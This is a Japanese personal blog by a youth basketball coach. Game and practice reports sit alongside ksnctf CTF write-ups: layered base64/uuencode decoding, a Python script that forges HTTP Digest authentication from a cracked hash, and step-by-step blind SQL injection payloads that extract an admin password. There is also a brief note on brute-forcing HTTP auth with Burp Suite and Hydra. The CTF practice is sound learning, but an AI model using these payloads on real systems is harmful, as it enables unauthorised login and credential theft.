読者です 読者をやめる 読者になる 読者になる

バスケット好きエンジニアの独り言

守口市で活動する小学生バスケットボールクラブのコーチが綴るブログです。

great basketball
with great friends

Firefox Developer Edition 64bit @お家

メインブラウザ戦争

メインのブラウザにはFirefoxを使っています。ですが、Firefoxの動作が重く感じる今日この頃。ブックマークもアドオンも多くないはずなんだけどなぁ。なので、動作が軽いと言われるDeveloper Editionを使用することにしました。64bit版を探すのに少し手間取ったのでメモ。
ちょっとカッコいい。

ksnctf #5 Onion WriteUp

base64 is not encrypted

よくわからない大量の文字列が与えられる。うーん、見当がつかない。   題名を見ると"Onion"とあるので、何かの暗号関数を何度もかけた結果かなぁと予測。基本的にハッシュは不可逆なので、可逆といえばbase64が有名なので、base64でデコードしてみる。
コピペをすると改行コードも入るので、改行コードを削除して、foo.txtという名前で保存しました。改行コードがあっても大丈夫なのかは不明です。そしてbase64でデコードを連続でします。玉ねぎの皮むき皮むき。目から涙が出そうです。f:id:grapeBiscuit:20170414113546p:plain すると最後に、何やら文字列が… なんでしょうコレ…?
“begin 666"でググるuuencodewikipediaのページがトップに表示されました。

uuencodeは、バイナリデータをテキストデータに変換するUNIX及びUnix系OSのコマンド。或いは、それによって生成されるテキストデータのフォーマット。デコードにはuudecodeコマンドを用いる。

分かりました、uuencodeコマンドを使えばいいのですね。
と思ってuuencodeコマンドについてhelpやmanを見て数分格闘したのですが、よく考えたらdecodeじゃないですか。 base64でデコードされた文字列をファイルに保存してuudecodeコマンドに渡してあげます。 無事、flagが手に入りました。
めでたしめでたし^^

ksnctf #9 Digest is secure! WriteUp

HTTP Digest Authorization

与えられたpcapを見ていくと、TCPとHTTPのパケットが並ぶ。Protocol Hierarchy Staticsを見てもTCPとHTTPばかり。HTTPのパケットを見ると、Digest認証がかかっている。こいつを突破するんだなぁ。
f:id:grapeBiscuit:20170412075241p:plain レスポンスをよく見ると、aタグのhrefに"flag.html“の文字がある。絶対に怪しい。   ストーリーはflag.htmlをGET → Digest認証突破 → flagゲットといったところか。
f:id:grapeBiscuit:20170412081830p:plain

Cracking start!!!

Digest認証はパスワードをhash化して送信しているので、Basic認証よりセキュリティ強度が高いと言われる。
ダメもとでレスポンス文字列をmd5逆変換サイトで逆変換してみる。

キー値は、(keyword is)
c627e19450db746b739f41b64097d449:bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b:00000001:9691c249745d94fc:auth:31e101310bcd7fae974b921eb148099cです。

ふおっ!!! 出てきてしまった!!!
何故、CTFのhash値が逆変換できるのだろうか…? ご存知の方教えてください。
ともあれ、Digest認証の MD5(A1) の部分が分かった。Digest認証の仕組みは次の通りなので、得たMD5(A1)の値とサーバから返ってきたnonce等を用いて正しいレスポンスを送るスクリプトを書けばflagをgetできます。

A1 = ユーザ名 “:” realm “:” パスワード
A2 = HTTPのメソッド “:” コンテンツのURI
response = MD5( MD5(A1) “:” nonce “:” nc “:” cnonce “:” qop “:” MD5(A2) )

ソースコードはこちら

#!/usr/bin/env python
# coding: UTF-8

import urllib2
import hashlib

url = 'http://ksnctf.sweetduet.info:10080/~q9/flag.html'
username = "q9"
realm = "secret"
nonce = ""
uri = "/~q9/flag.html"
algorithm = "MD5"
response = ""
qop = "auth"
nc = "00000001"
cnonce = "9691c249745d94fc"
md5a1 = "c627e19450db746b739f41b64097d449"
a2 = 'GET:' + uri

# get nonce
try:
    data = urllib2.urlopen(url)
except urllib2.HTTPError, e:
    nonce = e.info()['WWW-Authenticate'].split('"')[3]

# generate request
response = hashlib.md5(md5a1 + ':' + nonce + ':' + nc + ':' + cnonce + ':' + qop + ':' + hashlib.md5(a2).hexdigest()).hexdigest()
auth = 'Digest username="' + username + '", realm="' + realm + '", nonce="' + nonce + '",uri="' + uri + '", algorithm=' + algorithm + ', response="' + response + '", qop=' + qop + ', nc=' + nc + ', cnonce="' + cnonce + '"'
header = {'Authorization' : auth}
req = urllib2.Request(url, None, header)

# get flag
data = urllib2.urlopen(req)
flag = data.read()
print flag

ksnctf #6 Login WriteUp

ブラインドSQLインジェクション

与えられたURLにアクセスすると、[First, login as "admin".]と挑戦状を叩きつけられる。文脈的に複数ステップ踏まないとflagは取れない雰囲気。まずは、ID/PWにadmin/passwordと入力してみる、、、Login Failed そりゃそうよね。

f:id:grapeBiscuit:20170412074109p:plain


ローカルプロキシで送信しているデータを見るとPOSTでBODYパラメータでidとpassを渡している。
id=admin&pass=password
SQLインジェクションかなぁと思い、定番をインジェクトしてみる。


id=admin'+or+1=1--&pass=password
おぉ!たくさん出てきた!!

f:id:grapeBiscuit:20170412073838p:plain

SQLインジェクションで間違いない

 

さて、パスワード取りに行きますよ^^
よく見ると、クエリー文が表示されている。これは優しい!!
query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
試しにカラムがいくつか調べてみる。
id=admin'+and+1=1+order+by+2--&pass=password
 → Confratulations!
id=admin'+and+1=1+order+by+3--&pass=password
 → Login Failed

カラムの数は2で間違いない。

次はadminパスワードの長さを調べていきます。
id=admin'+and(select+length(pass)+from+user+where+id='admin')+<=1--&pass=password
→ Confratulations!
id=admin'+and(select+length(pass)+from+user+where+id='admin')+<=2--&pass=password
→ Confratulations!
id=admin'+and(select+length(pass)+from+user+where+id='admin')+<=3--&pass=password
→ Confratulations!
と続けていくと、
id=admin'+and(select+length(pass)+from+user+where+id='admin')+<=22--&pass=password
→ Login Failed
でレスポンスが変わります。

adminのパスワード文字数は21で間違いない。

最後に一文字づつパスワードを探ります。
挿入するパラメータはこんな感じ。
id=admin'+and+substr((select+pass+where+id='admin'),1,1)='a'--&pass=password
→ Login Failed
これでadminパスワードの1文字目がaであるか調べられます。
n文字目がXであるか調べるのはこれでいけます。
id=admin'+and+substr((select+pass+where+id='admin'),n,1)='X'--&pass=password

フラッグ形式が[FLAG_hogehoge]と決まっているので、1文字目がFかどうか調べて見ます。
id=admin'+and+substr((select+pass+where+id='admin'),1,1)='F'--&pass=password
→ Confratulations!
おぉ!!!!
やっぱりadminパスワードの1文字目はFで、そのままflagっぽいです。
あとはこれを20回やって21文字のパスワードを当てるだけです^^
手でやるより、コードを書いた方が早そうですね。

#6 Login complete

中学生と合同練習 @樟風中学校

下手糞の上級者への道のりは己が下手さを知りて一歩目

今日は守口市立樟風中学校の男子バスケ部と合同練習をしてきました。1月上旬に交歓試合をしてから2回目の合同練習。中学生と小学生の交流は教える方も教えてもらう方も勉強になり、定期的にやりたいなぁと思っています。樟風中学はラビッツ卒業生が多数在籍しているからか、"はじめまして、よろしくお願いします"とドキドキした気分ではなく、"よっ〇〇、久しぶりっ!!"ってな感じで、距離感がだいぶ近いような気がします。僕はまだ大阪に来て1年も経っていないのでそこらへんの歴史はまだよくわかっていませんが... 樟風中学の生徒は時々ラビッツに来てくれて、その子達はよく知っています。いつもありがとう。ともあれ、中学生と真剣にプレーできるのは小学生にとって大きな価値じゃないでしょうか。

今日は、ディフェンスの基礎メニューを多く取り入れて貰いました。基本姿勢からステップの踏み方などなど。勉強になりました。中学校でやった同じメニューを日々のラビッツの練習にも取り入れていきますよ。練習をパクるのはある意味僕の得意分野でもあります。今やっている練習もどこかのチームの練習をパクってアレンジを重ねたものばかりです。学ぶことは真似ることから始まりますよね、やっぱり。ラビッツは基本重視です。中学に上がっても基本をみっちりやることが大事。それを教えてもらえる中学に入れるのは何にも代えがたい喜びだと思います。ラビッツの練習がそのまま中学校でも役に立つ、そんな環境を目指したいと思っています。

半日の合同練習を終えて、中学の先生は言葉の伝え方,噛み砕き方が上手いなと感じました。コーチとして悔しさを覚えるほどに。特に樟風中学の先生は自分でやってみせる事が多かった印象を受けました。僕はなるべく言語化して教えたいと考えてこれまでやって来ましたが、もう少し増やしてもいいかもしれません。僕もまだまだだ勉強することがたくさん、変化する部分もたくさんあります(^^) 前向きに捉えてやっていきましょう!!

中学生は来月から大会が始まると伺いました。そんな中合同練習を受けていただきありがとうございました。また大会が終わりましたら是非ともお願いします!!

Burp SuiteでHTTP認証のブルートフォース攻撃

BurpSuiteって多彩

HTTP認証のブルートフォース攻撃チェックをする機会があり、調べるとBurpSuiteにも機能があったのでメモ。メモというかリンクコピペ。

なぜか、Hydraやncrackは誤検知が多い。medusaは良質というのが使ってみての印象。プロトコルにもよるのかな。

虎穴に入らずんば虎子を得ず @練習試合

"サボテン" "トマト" スタイル

今日は豊中市の小路小学校で小路ミニと練習ゲーム。他地区に行くのって楽しいですよねー^^ 守口市で活動している我々は、一つ隣の門真市駅に集合。朝7:30集合の早起きも良いもんです。門真市が始発の大阪モノレールでビューンと一本で小路駅まで。途中で見える太陽の塔につられてうっかり万博公園で降りそうに...なってません。今日は大事な大事な練習ゲームなんですから。

前日のミーテイングで決めた事。ディフェンスのポジショニングルール、リバウンドのボックスアウトのルール、オフェンスのパスランのルールをきっちり第一ピリオドから第四ピリオドまでやりきる事、リングへ向かう戦う気持ちを出し続ける事を目標に向かいました。
内容は...良い成果を感じられました。
プレーヤ5人とベンチが戦う気持ちを持っていた時は良い流れ、誰か一人が戦う気持ちを失って他人任せになったタイミングでは悪い流れ。気持ちの変化とゲーム展開が誰の目に見ても明らかな試合でした。因みにコーチは熱くなりすぎて、ルールで決められた数よりも多くタイムアウトを取ってしまいました。少し反省、、、
もう君たちは新チームで6年生5年生なんです。頼りにしていた上級生はもういないんです。困った時には自分で解決しなければなりません。自覚を持って欲しいなと感じております。戦う気持ちが無ければ、初めから誰かを頼りにしていては、戦場では何もできません。
虎穴に入らずんば虎児を得ず。君たちの掲げた目標は高いものです。高い目標を達成するには、勇気が必要と古くから中国より伝えられています。そう、100%勇気!!!

1日でチームを引っ張ろうとする姿と誰かを探す姿と両方の姿が見れた試合でした。1日で姿勢が変わったプレーヤもいて、それがコーチにとってチームにとって何よりの収穫でもありました。毎日自分なりのやり方で試行錯誤して努力していることをコーチはなんとなく感じています。その溜めた溜めた努力が発揮できたんじゃないでしょうか。自分なりの工夫。これが大事なポイント。お父さんやお母さんの言った事じゃなくて、チームメイトの猿真似じゃなくて、自分のやり方を考えて見つけて努力してるんだろうと思っています。

文頭の"サボテン" "トマト" スタイルというのは帰路で保護者の方と話していた時に思いついたワードです。常に水をやる必要は無く、日差しの当たる風通しの良い環境に置くことが大事。一見土が乾いているように見えても、土の中が湿っていれば水はあげない。内部まで土が乾いていれば水をたっぷりとあげましょう。
プレーヤを育てるのにも通じるところがあるのではないでしょうか。

"可愛い子には旅をさせよ" 息子・娘たちの旅は今日から始まります。保護者と見守りながら、プレーヤの近くにいられるバスケットボールコーチでありたいと願う1日でした。

 

心の強さを再確認 @新人戦

断固たる決意が必要なんだ!!

さて始まりました、新シーズン初めての大会 新人戦。今シーズンはどんな顔ぶれになるのかご挨拶を含めたような大会。チェックされたりされなかったり、去年とガラッと雰囲気が変わってたり変わってなかったり。

我々寺方ラビッツは6年生が6人抜け、新6年生は3人となるチーム構成です。6年生が少ない分、新5年生には6年生と同じレベルの言動が求められます。そんな期待を持って過ごした新チーム始動から約1週間(新人戦の日程を考えるとここが短かったと反省)、まだまだお子ちゃまジュニア戦気分の新5年生の言動が気になりました。

やはり試合になっても、"誰かがやってくれる"との勘違いが伝わるプレー、言葉がけ。特に、勝負のかかった重要な場面での新6年生の弱気なプレーが目立ちました。今年は君たちのチームなんですよ。勝つ目標を掲げた以上、強い心と気持ちをが必要になってきますよ。断固たる決意の必要性に数人でも気づけたら価値のある試合だったのではと思っています。

これからどう成長するか楽しみな1年の軌跡がスタートしました。

 

新シーズン開幕 @新チーム始動

"工夫と優しさとこだわり"

今日より新チームが始動しました。

新チームに合わせて新キャプテンの発表。今年の新6年生は3人。3人が3人とも自分がキャプテンをやりたいと言い、本気で立候補できる3人をコーチは誇らしく思います。

新キャプテンはチームメイト全員の投票で決めたキャプテンです。キャプテンに何かしてもらうではなく、キャプテンのためチームのために行動できるプレーヤでありたいですね。(ジョン・F・ケネディ大統領就任演説をパクりましたw)

今週末は新人戦、初戦の対戦相手は去年の雪辱が残る田口山。

燃えて燃えて燃えて、最高に楽しもう!!!!!!!!!!!!!!!!!!!!!!!!!!!!

6年生最後の大会 @ウィンターカップ最終日

頑張りきれた最終戦

今日は、6年生最後の公式試合ウィンターカップの最終日でした。場所は枚方総合体育館。対戦相手は同じ守口市の金田ミニでした。よく顔をあわせることもあり、絶対に負けられない戦いでした。

どこのチームと対戦しても同じなのですが、我々寺方ラビッツは体格差では差が出てしまうので、リングから離れた位置で勝負する事と、ディフェンスリバウンドを一発で取ることをテーマにして試合に入りました。試合展開は、理想とも予想とも大きく違った追う展開でしたが、第4ピリオドで追いつき、延長戦で2点差で競り勝つことができました。

大きな大会で追う展開から勝利に繋げれたのはとても良い事だったと思います。盛り上がりも決勝戦くらいあったんじゃないでしょうか。リングへドライブを最後までし続けた結果、勝利に結びつけることができました。優秀賞は、強いドライブを続けた副キャプテンが頂きました。怪我もありながら良く頑張ってくれました。

さて、明日からは新チームで再スタートです。
どんなチームになるのか今から楽しみで仕方ありません!!! 大事なキャプテン決めもしないといけませんね。
欲を言えば、もっとプレーヤの数が増えれば良いなぁと思っています。特に、新6,5,4,3年生(ほとんど全学年ですね...w)が増えてくれると嬉しいです。たくさんの仲間とバスケットに取り組めるって素敵だなぁと思います!!! バスケットはパスワークが大事で展開も早いので、チームワークを楽しむという点で、良いスポーツなんじゃないでしょうか。

みんなでバスケットを楽しみ尽くしましょう!!!

f:id:grapeBiscuit:20170205233430j:plain